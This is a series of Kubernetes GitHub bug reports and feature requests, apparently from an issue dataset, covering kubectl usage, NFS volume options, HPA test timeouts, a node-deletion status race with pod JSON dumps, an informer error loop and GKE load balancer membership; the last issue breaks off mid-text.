replicas kibana-logging-controller            kibana-logging          kubernetes/kibana:1.0               name=kibana-logging          1 skydns                               etcd                    quay.io/coreos/etcd:latest          k8s-app=skydns               1                                      kube2sky                kubernetes/kube2sky:1.0                                                                                skydns                  kubernetes/skydns:2014-12-23-001                                  elasticsearch-logging-controller     elasticsearch-logging   dockerfile/elasticsearch            name=elasticsearch-logging   1 monitoring-influxgrafanacontroller   influxdb                kubernetes/heapster_influxdb:v0.3   name=influxgrafana           1                                      grafana                 kubernetes/heapster_grafana:v0.3                                  monitoring-heapstercontroller        heapster                kubernetes/heapster:v0.6            name=heapster                1 $ cluster/kubectl.sh get services running: cluster/../cluster/gce/../../_output/dockerized/bin/linux/amd64/kubectl get services name                    labels                                    selector                     ip                  port kubernetes              component=apiserver,provider=kubernetes   <none>                       10.0.40.74          443 monitoring-heapster     <none>                                    name=heapster                10.0.114.199        80 monitoring-grafana      <none>                                    name=influxgrafana           10.0.116.113        80 monitoring-influxdb     <none>                                    name=influxgrafana           10.0.62.215         80 skydns                  k8s-app=skydns                            k8s-app=skydns               10.0.0.10           53 kibana-logging          <none>                                    name=kibana-logging          10.0.4.183          5601 elasticsearch-logging   <none>                                    name=elasticsearch-logging   10.0.45.69          9200 kubernetes-ro           component=apiserver,provider=kubernetes   <none>                       10.0.42.135         80

there are situations where pod -> apiserver/internet might be broken, but kubelet can still heartbeat etc. this will result in crashlooping pods on a ready node. such a node should be marked notready, and possibly auto-cordoned. \r \r one way to do this is to deploy a networking canary daemonset that the kubelet is aware of. maybe we can even reuse the node problem detector? or maybe the kubelet can exec a non-local connectivity check from inside a pod's namespace?

kubectl can create docker secrets and also specify those secrets in deployment or pod in json/yaml file by    imagepullsecrets: xxx   \r \r however there seems to be no way to run image in interactive mode when image is hosted in private docker repo.\r e.g.\r    \r kubectl run -it --image=<private image> \r    \r but    kubectl run    does not have option to specify imagepullsecrets.

-  x  authenticatorfactory.newauthenticatorfromtokens to newfromtokens\r -     split authorizers from authorizerfactory\r -     pkg/validation/path to pkg/validation\r -     sweep for consistent package imports.  we skip this a lot and alias packages to reduce rebase conflicts, but consistency is useful.

we should know how much cpu and memory it needs. i am guessing that 0.01 cpu and 16 mb of ram is probably enough?  could leave it burstable...\r \r @dnardo @mtaufen

\r   is this a bug report or feature request?  :\r \r \r \r   \r \r   what happened  :\r when i create nfs volume, there is no parameter to set the 'port' option.\r \r   what you expected to happen  :\r hope we can create  the nfs persistentvolume like this:\r nfs:\r     server:  xx.xx.xx.xx\r     path: \ /\ \r     readonly: false\r     port: xxx       need this option to mount like : mount -t  nfs -o port=xxx xx.xx.xx.xx:/ /tme/example\r \r 

the following 2 hpa tests are failing continuously on our  5k-node correctness job  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-correctness :\r \r - horizontal pod autoscaling  scale resource: cpu   sig-autoscaling  replicationcontroller light should scale from 1 pod to 2 pods\r - horizontal pod autoscaling  scale resource: cpu   sig-autoscaling  replicationcontroller light should scale from 2 pods to 1 pod\r \r due to timeout:\r \r    \r timeout waiting 15m0s for 2 replicas\r    \r \r the job is part of release-master-blocking suite - so this needs to fixed asap.\r \r cc @kubernetes/sig-autoscaling-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  kubectl need to update\r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

while testing bootstrapping in a 1.7 cluster, i noticed that deleting gcp instances in an autoscaling group  where the instance is deleted directly from the console  resulted in inconsistent behavior - sometimes pods on the deleted instance were properly deleted and rescheduled, other times they were not.\r \r scenario:\r \r 1. create a 3 node autoscaling group, with nodes set to auto join the cluster\r 2. delete a node instance in the gcp console  which results in the scaling group creating a new instance with the same name a minute or so later \r 3. observe that the node object always appears to be properly deleted  uid change  and the new node object is created extremely shortly thereafter by the new instance - 2-10s  bootstrap and auto approval are fast \r 4. observe that 75% of the time the pods on that node are not deleted, and also don't get their timestamps updated  they still have the status from the old node, including timestamps, but readiness is reset \r 5. a few minutes later, the status is updated and shows up correctly for the new node  at least 1-2 minutes \r \r the issue is serious in this case because the networking plugin in use  openshift-sdn  correctly observes that a new node  with new uid  is created and assigns a new host subnet, but the kubelet simply starts the new containers.  sometimes the pods are deleted which allows it to reset, and sometimes the plugin simply sees that the containers are restarted.\r \r we definitely cannot guarantee that the kubelet knows the pod was scheduled for a different iteration of itself since the node name is the same.  the node controller is racing with the kubelet to observe the node deletion since the new node is created very close in time to the old node being deleted.  if the controller manager were shut down during this event, it would have no way to know that the node has changed.\r \r at a minimum, the bug is that the status update lags until the next sync loop.  a larger error may be that we are inducing inconsistent behavior - the network plugin needs to follow along and react to the changing node, but it's not clear whether the pod should or should not be deleted.\r \r    \r   existing pod \r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ pod\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ registry-console-1\\\ ,\\\ uid\\\ :\\\ 4b81a94b-c0eb-11e7-b34d-42010a8e0004\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 5599\\\ }}\ \ ,\r             \ openshift.io/deployment-config.latest-version\ : \ 1\ ,\r             \ openshift.io/deployment-config.name\ : \ registry-console\ ,\r             \ openshift.io/deployment.name\ : \ registry-console-1\ ,\r             \ openshift.io/generated-by\ : \ openshiftnewapp\ ,\r             \ openshift.io/scc\ : \ restricted\ \r         },\r         \ creationtimestamp\ : \ 2017-11-03t23:42:58z\ ,\r         \ generatename\ : \ registry-console-1-\ ,\r         \ labels\ : {\r             \ app\ : \ registry-console\ ,\r             \ deployment\ : \ registry-console-1\ ,\r             \ deploymentconfig\ : \ registry-console\ ,\r             \ name\ : \ registry-console\ \r         },\r         \ name\ : \ registry-console-1-lc9g6\ ,\r         \ namespace\ : \ default\ ,\r         \ ownerreferences\ :  \r             {\r                 \ apiversion\ : \ v1\ ,\r                 \ blockownerdeletion\ : true,\r                 \ controller\ : true,\r                 \ kind\ : \ replicationcontroller\ ,\r                 \ name\ : \ registry-console-1\ ,\r                 \ uid\ : \ 4b81a94b-c0eb-11e7-b34d-42010a8e0004\ \r             }\r          ,\r         \ resourceversion\ : \ 5683\ ,\r         \ selflink\ : \ /api/v1/namespaces/default/pods/registry-console-1-lc9g6\ ,\r         \ uid\ : \ b8e9cdc0-c0f0-11e7-b34d-42010a8e0004\ \r     },\r     \ spec\ : {\r         \ containers\ :  \r             {\r                 \ env\ :  \r                     {\r                         \ name\ : \ openshift_oauth_provider_url\ ,\r                         \ value\ : \ https://api.claytontest.origin-ci-int-gce.dev.rhcloud.com/\ \r                     },\r                     {\r                         \ name\ : \ openshift_oauth_client_id\ ,\r                         \ value\ : \ cockpit-oauth-client\ \r                     },\r                     {\r                         \ name\ : \ kubernetes_insecure\ ,\r                         \ value\ : \ false\ \r                     },\r                     {\r                         \ name\ : \ cockpit_kube_insecure\ ,\r                         \ value\ : \ false\ \r                     },\r                     {\r                         \ name\ : \ registry_only\ ,\r                         \ value\ : \ true\ \r                     },\r                     {\r                         \ name\ : \ registry_host\ ,\r                         \ value\ : \ docker-registry-default.apps.claytontest.origin-ci-int-gce.dev.rhcloud.com\ \r                     }\r                  ,\r                 \ image\ : \ cockpit/kubernetes:latest\ ,\r                 \ imagepullpolicy\ : \ always\ ,\r                 \ livenessprobe\ : {\r                     \ failurethreshold\ : 3,\r                     \ httpget\ : {\r                         \ path\ : \ /ping\ ,\r                         \ port\ : 9090,\r                         \ scheme\ : \ http\ \r                     },\r                     \ initialdelayseconds\ : 10,\r                     \ periodseconds\ : 10,\r                     \ successthreshold\ : 1,\r                     \ timeoutseconds\ : 5\r                 },\r                 \ name\ : \ registry-console\ ,\r                 \ ports\ :  \r                     {\r                         \ containerport\ : 9090,\r                         \ protocol\ : \ tcp\ \r                     }\r                  ,\r                 \ readinessprobe\ : {\r                     \ failurethreshold\ : 3,\r                     \ httpget\ : {\r                         \ path\ : \ /ping\ ,\r                         \ port\ : 9090,\r                         \ scheme\ : \ http\ \r                     },\r                     \ periodseconds\ : 10,\r                     \ successthreshold\ : 1,\r                     \ timeoutseconds\ : 5\r                 },\r                 \ resources\ : {},\r                 \ securitycontext\ : {\r                     \ capabilities\ : {\r                         \ drop\ :  \r                             \ kill\ ,\r                             \ mknod\ ,\r                             \ setgid\ ,\r                             \ setuid\ \r                          \r                     },\r                     \ privileged\ : false,\r                     \ runasuser\ : 1000000000,\r                     \ selinuxoptions\ : {\r                         \ level\ : \ s0:c1,c0\ \r                     }\r                 },\r                 \ terminationmessagepath\ : \ /dev/termination-log\ ,\r                 \ terminationmessagepolicy\ : \ file\ ,\r                 \ volumemounts\ :  \r                     {\r                         \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ ,\r                         \ name\ : \ default-token-r7r5f\ ,\r                         \ readonly\ : true\r                     }\r                  \r             }\r          ,\r         \ dnspolicy\ : \ clusterfirst\ ,\r         \ imagepullsecrets\ :  \r             {\r                 \ name\ : \ default-dockercfg-5czxp\ \r             }\r          ,\r         \ nodename\ : \ ci-claytontest-ig-n-63c4\ ,\r         \ restartpolicy\ : \ always\ ,\r         \ schedulername\ : \ default-scheduler\ ,\r         \ securitycontext\ : {\r             \ fsgroup\ : 1000000000,\r             \ selinuxoptions\ : {\r                 \ level\ : \ s0:c1,c0\ \r             }\r         },\r         \ serviceaccount\ : \ default\ ,\r         \ serviceaccountname\ : \ default\ ,\r         \ terminationgraceperiodseconds\ : 30,\r         \ volumes\ :  \r             {\r                 \ name\ : \ default-token-r7r5f\ ,\r                 \ secret\ : {\r                     \ defaultmode\ : 420,\r                     \ secretname\ : \ default-token-r7r5f\ \r                 }\r             }\r          \r     },\r     \ status\ : {\r         \ conditions\ :  \r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-11-03t23:42:58z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ initialized\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-11-03t23:43:05z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ ready\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-11-03t23:42:58z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ podscheduled\ \r             }\r          ,\r         \ containerstatuses\ :  \r             {\r                 \ containerid\ : \ docker://ef5aef49b57a811f642bba553a6a1c4dde865289c825234527e1c2b3aeceea12\ ,\r                 \ image\ : \ docker.io/cockpit/kubernetes:latest\ ,\r                 \ imageid\ : \ docker-pullable://docker.io/cockpit/kubernetes@sha256:a4b418f80f5654021ff63526bbb9644f23a5cc56b6eb50d684f21c1aaf324256\ ,\r                 \ laststate\ : {},\r                 \ name\ : \ registry-console\ ,\r                 \ ready\ : true,\r                 \ restartcount\ : 0,\r                 \ state\ : {\r                     \ running\ : {\r                         \ startedat\ : \ 2017-11-03t23:43:00z\ \r                     }\r                 }\r             }\r          ,\r         \ hostip\ : \ 10.142.0.2\ ,\r         \ phase\ : \ running\ ,\r         \ podip\ : \ 172.16.0.4\ ,\r         \ qosclass\ : \ besteffort\ ,\r         \ starttime\ : \ 2017-11-03t23:42:58z\ \r     }\r }\r    \r \r node is deleted, next update is only readiness change, not other container status\r \r    \r   pod update event - readiness changes, but not status info like transition time\r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ pod\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ registry-console-1\\\ ,\\\ uid\\\ :\\\ 4b81a94b-c0eb-11e7-b34d-42010a8e0004\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 5599\\\ }}\ \ ,\r             \ openshift.io/deployment-config.latest-version\ : \ 1\ ,\r             \ openshift.io/deployment-config.name\ : \ registry-console\ ,\r             \ openshift.io/deployment.name\ : \ registry-console-1\ ,\r             \ openshift.io/generated-by\ : \ openshiftnewapp\ ,\r             \ openshift.io/scc\ : \ restricted\ \r         },\r         \ creationtimestamp\ : \ 2017-11-03t23:42:58z\ ,\r         \ generatename\ : \ registry-console-1-\ ,\r         \ labels\ : {\r             \ app\ : \ registry-console\ ,\r             \ deployment\ : \ registry-console-1\ ,\r             \ deploymentconfig\ : \ registry-console\ ,\r             \ name\ : \ registry-console\ \r         },\r         \ name\ : \ registry-console-1-lc9g6\ ,\r         \ namespace\ : \ default\ ,\r         \ ownerreferences\ :  \r             {\r                 \ apiversion\ : \ v1\ ,\r                 \ blockownerdeletion\ : true,\r                 \ controller\ : true,\r                 \ kind\ : \ replicationcontroller\ ,\r                 \ name\ : \ registry-console-1\ ,\r                 \ uid\ : \ 4b81a94b-c0eb-11e7-b34d-42010a8e0004\ \r             }\r          ,\r         \ resourceversion\ : \ 7000\ ,\r         \ selflink\ : \ /api/v1/namespaces/default/pods/registry-console-1-lc9g6\ ,\r         \ uid\ : \ b8e9cdc0-c0f0-11e7-b34d-42010a8e0004\ \r     },\r     \ spec\ : {\r         \ containers\ :  \r             {\r                 \ env\ :  \r                     {\r                         \ name\ : \ openshift_oauth_provider_url\ ,\r                         \ value\ : \ https://api.claytontest.origin-ci-int-gce.dev.rhcloud.com/\ \r                     },\r                     {\r                         \ name\ : \ openshift_oauth_client_id\ ,\r                         \ value\ : \ cockpit-oauth-client\ \r                     },\r                     {\r                         \ name\ : \ kubernetes_insecure\ ,\r                         \ value\ : \ false\ \r                     },\r                     {\r                         \ name\ : \ cockpit_kube_insecure\ ,\r                         \ value\ : \ false\ \r                     },\r                     {\r                         \ name\ : \ registry_only\ ,\r                         \ value\ : \ true\ \r                     },\r                     {\r                         \ name\ : \ registry_host\ ,\r                         \ value\ : \ docker-registry-default.apps.claytontest.origin-ci-int-gce.dev.rhcloud.com\ \r                     }\r                  ,\r                 \ image\ : \ cockpit/kubernetes:latest\ ,\r                 \ imagepullpolicy\ : \ always\ ,\r                 \ livenessprobe\ : {\r                     \ failurethreshold\ : 3,\r                     \ httpget\ : {\r                         \ path\ : \ /ping\ ,\r                         \ port\ : 9090,\r                         \ scheme\ : \ http\ \r                     },\r                     \ initialdelayseconds\ : 10,\r                     \ periodseconds\ : 10,\r                     \ successthreshold\ : 1,\r                     \ timeoutseconds\ : 5\r                 },\r                 \ name\ : \ registry-console\ ,\r                 \ ports\ :  \r                     {\r                         \ containerport\ : 9090,\r                         \ protocol\ : \ tcp\ \r                     }\r                  ,\r                 \ readinessprobe\ : {\r                     \ failurethreshold\ : 3,\r                     \ httpget\ : {\r                         \ path\ : \ /ping\ ,\r                         \ port\ : 9090,\r                         \ scheme\ : \ http\ \r                     },\r                     \ periodseconds\ : 10,\r                     \ successthreshold\ : 1,\r                     \ timeoutseconds\ : 5\r                 },\r                 \ resources\ : {},\r                 \ securitycontext\ : {\r                     \ capabilities\ : {\r                         \ drop\ :  \r                             \ kill\ ,\r                             \ mknod\ ,\r                             \ setgid\ ,\r                             \ setuid\ \r                          \r                     },\r                     \ privileged\ : false,\r                     \ runasuser\ : 1000000000,\r                     \ selinuxoptions\ : {\r                         \ level\ : \ s0:c1,c0\ \r                     }\r                 },\r                 \ terminationmessagepath\ : \ /dev/termination-log\ ,\r                 \ terminationmessagepolicy\ : \ file\ ,\r                 \ volumemounts\ :  \r                     {\r                         \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ ,\r                         \ name\ : \ default-token-r7r5f\ ,\r                         \ readonly\ : true\r                     }\r                  \r             }\r          ,\r         \ dnspolicy\ : \ clusterfirst\ ,\r         \ imagepullsecrets\ :  \r             {\r                 \ name\ : \ default-dockercfg-5czxp\ \r             }\r          ,\r         \ nodename\ : \ ci-claytontest-ig-n-63c4\ ,\r         \ restartpolicy\ : \ always\ ,\r         \ schedulername\ : \ default-scheduler\ ,\r         \ securitycontext\ : {\r             \ fsgroup\ : 1000000000,\r             \ selinuxoptions\ : {\r                 \ level\ : \ s0:c1,c0\ \r             }\r         },\r         \ serviceaccount\ : \ default\ ,\r         \ serviceaccountname\ : \ default\ ,\r         \ terminationgraceperiodseconds\ : 30,\r         \ volumes\ :  \r             {\r                 \ name\ : \ default-token-r7r5f\ ,\r                 \ secret\ : {\r                     \ defaultmode\ : 420,\r                     \ secretname\ : \ default-token-r7r5f\ \r                 }\r             }\r          \r     },\r     \ status\ : {\r         \ conditions\ :  \r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-11-03t23:42:58z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ initialized\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-11-03t23:43:05z\ ,\r                 \ status\ : \ false\ ,\r                 \ type\ : \ ready\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-11-03t23:42:58z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ podscheduled\ \r             }\r          ,\r         \ containerstatuses\ :  \r             {\r                 \ containerid\ : \ docker://ef5aef49b57a811f642bba553a6a1c4dde865289c825234527e1c2b3aeceea12\ ,\r                 \ image\ : \ docker.io/cockpit/kubernetes:latest\ ,\r                 \ imageid\ : \ docker-pullable://docker.io/cockpit/kubernetes@sha256:a4b418f80f5654021ff63526bbb9644f23a5cc56b6eb50d684f21c1aaf324256\ ,\r                 \ laststate\ : {},\r                 \ name\ : \ registry-console\ ,\r                 \ ready\ : true,\r                 \ restartcount\ : 0,\r                 \ state\ : {\r                     \ running\ : {\r                         \ startedat\ : \ 2017-11-03t23:43:00z\ \r                     }\r                 }\r             }\r          ,\r         \ hostip\ : \ 10.142.0.2\ ,\r         \ phase\ : \ running\ ,\r         \ podip\ : \ 172.16.0.4\ ,\r         \ qosclass\ : \ besteffort\ ,\r         \ starttime\ : \ 2017-11-03t23:42:58z\ \r     }\r }\r    \r \r eventually the status is updated to be accurate:\r \r    \r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ pod\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ registry-console-1\\\ ,\\\ uid\\\ :\\\ 4b81a94b-c0eb-11e7-b34d-42010a8e0004\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 5599\\\ }}\ \ ,\r             \ openshift.io/deployment-config.latest-version\ : \ 1\ ,\r             \ openshift.io/deployment-config.name\ : \ registry-console\ ,\r             \ openshift.io/deployment.name\ : \ registry-console-1\ ,\r             \ openshift.io/generated-by\ : \ openshiftnewapp\ ,\r             \ openshift.io/scc\ : \ restricted\ \r         },\r         \ creationtimestamp\ : \ 2017-11-03t23:42:58z\ ,\r         \ generatename\ : \ registry-console-1-\ ,\r         \ labels\ : {\r             \ app\ : \ registry-console\ ,\r             \ deployment\ : \ registry-console-1\ ,\r             \ deploymentconfig\ : \ registry-console\ ,\r             \ name\ : \ registry-console\ \r         },\r         \ name\ : \ registry-console-1-lc9g6\ ,\r         \ namespace\ : \ default\ ,\r         \ ownerreferences\ :  \r             {\r                 \ apiversion\ : \ v1\ ,\r                 \ blockownerdeletion\ : true,\r                 \ controller\ : true,\r                 \ kind\ : \ replicationcontroller\ ,\r                 \ name\ : \ registry-console-1\ ,\r                 \ uid\ : \ 4b81a94b-c0eb-11e7-b34d-42010a8e0004\ \r             }\r          ,\r         \ resourceversion\ : \ 7244\ ,\r         \ selflink\ : \ /api/v1/namespaces/default/pods/registry-console-1-lc9g6\ ,\r         \ uid\ : \ b8e9cdc0-c0f0-11e7-b34d-42010a8e0004\ \r     },\r     \ spec\ : {\r         \ containers\ :  \r             {\r                 \ env\ :  \r                     {\r                         \ name\ : \ openshift_oauth_provider_url\ ,\r                         \ value\ : \ https://api.claytontest.origin-ci-int-gce.dev.rhcloud.com/\ \r                     },\r                     {\r                         \ name\ : \ openshift_oauth_client_id\ ,\r                         \ value\ : \ cockpit-oauth-client\ \r                     },\r                     {\r                         \ name\ : \ kubernetes_insecure\ ,\r                         \ value\ : \ false\ \r                     },\r                     {\r                         \ name\ : \ cockpit_kube_insecure\ ,\r                         \ value\ : \ false\ \r                     },\r                     {\r                         \ name\ : \ registry_only\ ,\r                         \ value\ : \ true\ \r                     },\r                     {\r                         \ name\ : \ registry_host\ ,\r                         \ value\ : \ docker-registry-default.apps.claytontest.origin-ci-int-gce.dev.rhcloud.com\ \r                     }\r                  ,\r                 \ image\ : \ cockpit/kubernetes:latest\ ,\r                 \ imagepullpolicy\ : \ always\ ,\r                 \ livenessprobe\ : {\r                     \ failurethreshold\ : 3,\r                     \ httpget\ : {\r                         \ path\ : \ /ping\ ,\r                         \ port\ : 9090,\r                         \ scheme\ : \ http\ \r                     },\r                     \ initialdelayseconds\ : 10,\r                     \ periodseconds\ : 10,\r                     \ successthreshold\ : 1,\r                     \ timeoutseconds\ : 5\r                 },\r                 \ name\ : \ registry-console\ ,\r                 \ ports\ :  \r                     {\r                         \ containerport\ : 9090,\r                         \ protocol\ : \ tcp\ \r                     }\r                  ,\r                 \ readinessprobe\ : {\r                     \ failurethreshold\ : 3,\r                     \ httpget\ : {\r                         \ path\ : \ /ping\ ,\r                         \ port\ : 9090,\r                         \ scheme\ : \ http\ \r                     },\r                     \ periodseconds\ : 10,\r                     \ successthreshold\ : 1,\r                     \ timeoutseconds\ : 5\r                 },\r                 \ resources\ : {},\r                 \ securitycontext\ : {\r                     \ capabilities\ : {\r                         \ drop\ :  \r                             \ kill\ ,\r                             \ mknod\ ,\r                             \ setgid\ ,\r                             \ setuid\ \r                          \r                     },\r                     \ privileged\ : false,\r                     \ runasuser\ : 1000000000,\r                     \ selinuxoptions\ : {\r                         \ level\ : \ s0:c1,c0\ \r                     }\r                 },\r                 \ terminationmessagepath\ : \ /dev/termination-log\ ,\r                 \ terminationmessagepolicy\ : \ file\ ,\r                 \ volumemounts\ :  \r                     {\r                         \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ ,\r                         \ name\ : \ default-token-r7r5f\ ,\r                         \ readonly\ : true\r                     }\r                  \r             }\r          ,\r         \ dnspolicy\ : \ clusterfirst\ ,\r         \ imagepullsecrets\ :  \r             {\r                 \ name\ : \ default-dockercfg-5czxp\ \r             }\r          ,\r         \ nodename\ : \ ci-claytontest-ig-n-63c4\ ,\r         \ restartpolicy\ : \ always\ ,\r         \ schedulername\ : \ default-scheduler\ ,\r         \ securitycontext\ : {\r             \ fsgroup\ : 1000000000,\r             \ selinuxoptions\ : {\r                 \ level\ : \ s0:c1,c0\ \r             }\r         },\r         \ serviceaccount\ : \ default\ ,\r         \ serviceaccountname\ : \ default\ ,\r         \ terminationgraceperiodseconds\ : 30,\r         \ volumes\ :  \r             {\r                 \ name\ : \ default-token-r7r5f\ ,\r                 \ secret\ : {\r                     \ defaultmode\ : 420,\r                     \ secretname\ : \ default-token-r7r5f\ \r                 }\r             }\r          \r     },\r     \ status\ : {\r         \ conditions\ :  \r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-11-03t23:42:58z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ initialized\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-11-03t23:57:04z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ ready\ \r             },\r             {\r                 \ lastprobetime\ : null,\r                 \ lasttransitiontime\ : \ 2017-11-03t23:42:58z\ ,\r                 \ status\ : \ true\ ,\r                 \ type\ : \ podscheduled\ \r             }\r          ,\r         \ containerstatuses\ :  \r             {\r                 \ containerid\ : \ docker://6c1218ff7a8d7e1cc462765c7e19e20cd8e69797dd27f20ffe12fb9a708e5d48\ ,\r                 \ image\ : \ docker.io/cockpit/kubernetes:latest\ ,\r                 \ imageid\ : \ docker-pullable://docker.io/cockpit/kubernetes@sha256:a4b418f80f5654021ff63526bbb9644f23a5cc56b6eb50d684f21c1aaf324256\ ,\r                 \ laststate\ : {},\r                 \ name\ : \ registry-console\ ,\r                 \ ready\ : true,\r                 \ restartcount\ : 0,\r                 \ state\ : {\r                     \ running\ : {\r                         \ startedat\ : \ 2017-11-03t23:57:00z\ \r                     }\r                 }\r             }\r          ,\r         \ hostip\ : \ 10.142.0.2\ ,\r         \ phase\ : \ running\ ,\r         \ podip\ : \ 172.16.0.2\ ,\r         \ qosclass\ : \ besteffort\ ,\r         \ starttime\ : \ 2017-11-03t23:42:58z\ \r     }\r }\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r we are developing controller which uses an cache.sharedindexinformer to watch events against our custom resource. however, when  kubectl create -f manifest.yaml  is run using a bad manifest, specifically one that fails to unmarshall into the cr datastructure due to mismatched field data types, the watcher will fall into an infinite loop and begin rapidly spewing out the following errors in a tight loop:\r \r    \r e1229 01:59:53.317248    3559 streamwatcher.go:109  unable to decode an event from the watch stream: unable to decode watch event: v1alpha1.foo: spec: v1alpha1.foospec: deploymentname: readstring: expects \  or n, but found  , error found in  10 byte of ...|entname\ : \ example-f|..., bigger context ...|1e7-b3e3-4e0b1a127ace\ },\ spec\ :{\ deploymentname\ : \ example-foo\  ,\ replicas\ :1}}|...\r e1229 01:59:53.319798    3559 streamwatcher.go:109  unable to decode an event from the watch stream: unable to decode watch event: v1alpha1.foo: spec: v1alpha1.foospec: deploymentname: readstring: expects \  or n, but found  , error found in  10 byte of ...|entname\ : \ example-f|..., bigger context ...|1e7-b3e3-4e0b1a127ace\ },\ spec\ :{\ deploymentname\ : \ example-foo\  ,\ replicas\ :1}}|...\r    \r \r when the watch gets into this state, the controller ceases to function since its informer no longer sends any events from the watch. as soon as the malformed cr is deleted, theses errors stop and the informer starts sending events again.\r \r   what you expected to happen  :\r \r the watcher should not fall into an tight error loop preventing the watch from functioning. the malformed cr should be ignored.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r this is reproducible using the sample-controller example: https://github.com/kubernetes/sample-controller:\r    \r $ go get k8s.io/sample-controller\r $ go run  .go -kubeconfig=$home/.kube/config\r    \r  kubectl create -f  the following malformed manifest\r    \r apiversion: samplecontroller.k8s.io/v1alpha1\r kind: foo\r metadata:\r   name: example-foo\r spec:\r     deploymentname is supposed to be a string and not a list\r   deploymentname:  example-foo \r   replicas: 1\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t18:09:00z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  minikube version: v0.24.1  on macos\r - os  e.g. from /etc/os-release : macos\r - kernel  e.g.  uname -a  :\r  darwin kernel version 17.2.0: fri sep 29 18:27:05 pdt 2017; root:xnu-4570.20.62~3/release_x86_64 \r - install tools: minikube\r \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r   what happened  :\r we are using gke with internal load balancer  cloud.google.com/load-balancer-type: \ internal\   and preemptible instances. _sometimes_, when instances are recreated, new instance is not added to google load balancer. we have nginx ingress behind this balancer, so cluster loses it's ingress in that case.\r \r   what you expected to happen  :\r   either reliably add newly created instances to internal balancer instance group\r   or just drop balancer instance group and use load balancer with node pool instance groups instead  which work reliably enough \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create gke cluster with  --preemptible  flag\r 2. add nginx ingress with  cloud.google.com/load-balancer-type: \ internal\  \r 3. ...\r 4. wait?\r \r   anything else we need to know?  :\r my assumption is, that this happens when instance with ingress controller goes down, but i'm not sure. i have not found any traces in gke/gce logs with errors of any king to debug this.\r \r google uses its own instance group to manage internal load balancer. when this happens, the instance group is lacking an instance  e.g. 2/2 instead of 3/3 instances are available . when this happens several times in a row, instance group loses all instances  0/0 is available .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ 